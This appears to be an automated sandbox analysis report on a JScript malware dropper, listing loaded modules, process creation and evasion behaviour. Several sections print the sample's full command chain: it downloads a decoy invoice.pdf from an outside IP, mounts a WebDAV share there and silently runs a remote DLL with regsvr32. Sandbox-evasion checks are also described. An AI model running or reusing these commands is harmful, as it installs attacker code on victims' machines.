Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\6808.js.csv");ITextStream.WriteLine(" entry:8668 f:vgqvracak");ITextStream.WriteLine(" exec:2 f:vgqvracak");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49711

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4919			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4763			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4560	Thread sleep count: 4919 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4560	Thread sleep count: 4763 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2672	Thread sleep time: -10145709240540247s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3468	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4952	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6500	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 5160	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 5532	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: wscript.exe, 00000000.00000003.2148380273.0000024A4385A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\-
Source: net.exe, 00000007.00000002.2203584529.000001B3E8E51000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2203584529.000001B3E8DE8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3443917334.000001EE61258000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000007.00000002.2203584529.000001B3E8E51000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW'yz
Source: svchost.exe, 00000009.00000002.3442338912.000001EE5BC25000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29102893729089.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29102893729089.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29102893729089.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29102893729089.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
